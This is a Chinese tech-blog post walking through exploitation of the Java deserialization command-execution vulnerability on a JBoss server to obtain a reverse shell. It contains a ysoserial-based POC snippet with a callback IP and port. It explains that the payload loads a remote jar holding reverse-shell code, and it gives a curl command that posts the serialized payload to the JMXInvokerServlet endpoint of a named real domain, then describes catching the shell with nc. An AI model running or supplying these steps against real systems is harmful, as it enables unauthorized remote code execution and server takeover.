IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    JAVA反序列化命令执行漏洞利用详情(Jboss反弹SHELL)

    admin发表于 2015-12-04 23:56:46
    love 0

    前不久爆出的Java反序列化命令执行漏洞,一直没有进行测试。最近遇到个Jboss的站点,就抽空测试学习了一下利用的方法,过程中遇到很多坑啊,请教了很多小伙伴,非常感谢紫霞仙子大师傅的指点。

    随风师傅的博客上有具体的漏洞原理分析:

    http://www.iswin.org/2015/11/13/Apache-CommonsCollections-Deserialized-Vulnerability/

    利用给出的POC,先进行payload的生成,使用eclipse就可以搞定,需要导入外部的ysoserial.jar这个JAR包,如图:

    java反序列化命令执行漏洞

     

     

     

     

     

     

     

     

    POC代码中可以修改反弹SHELL的外网IP地址和端口,代码段:

    	public static void main(final String[] args) throws Exception {
    
    		final Object objBefore = CommonsCollections1.class.newInstance()
    				.getObject("10.18.180.34:8080");

    随风给的反弹SHELL的原理:

    反弹shell的原理,通过classload从我博客远程加载一个http://www.isiwn.org/attach/iswin.jar文件,然后进行实例化,博客上的jar文件里面包含了反弹shell的脚本,将类加载到本地后实例化实例化时在构造方法中执行反弹shell的payload。

    生成二进制的payload之后,使用curl命令提交请求,具体命令如下:

    curl --header "Content-Type: application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue" --data-binary "@payloads.bin" http://www.nxadmin.com/invoker/JMXInvokerServlet
    

    payloads.bin文件就是生成的二进制payload,curl之后在自己的服务器用nc监听就可以获取到反弹的shell了。如图:

    java反序列化命令执行漏洞利用

     

     

     

     

     

     

    成功获取到反弹的shell,如图:

    java反序列化命令执行漏洞利用详情

     

     

     

     

     

     

     

     

     

     

     

     

     

     



沪ICP备19023445号-2号
友情链接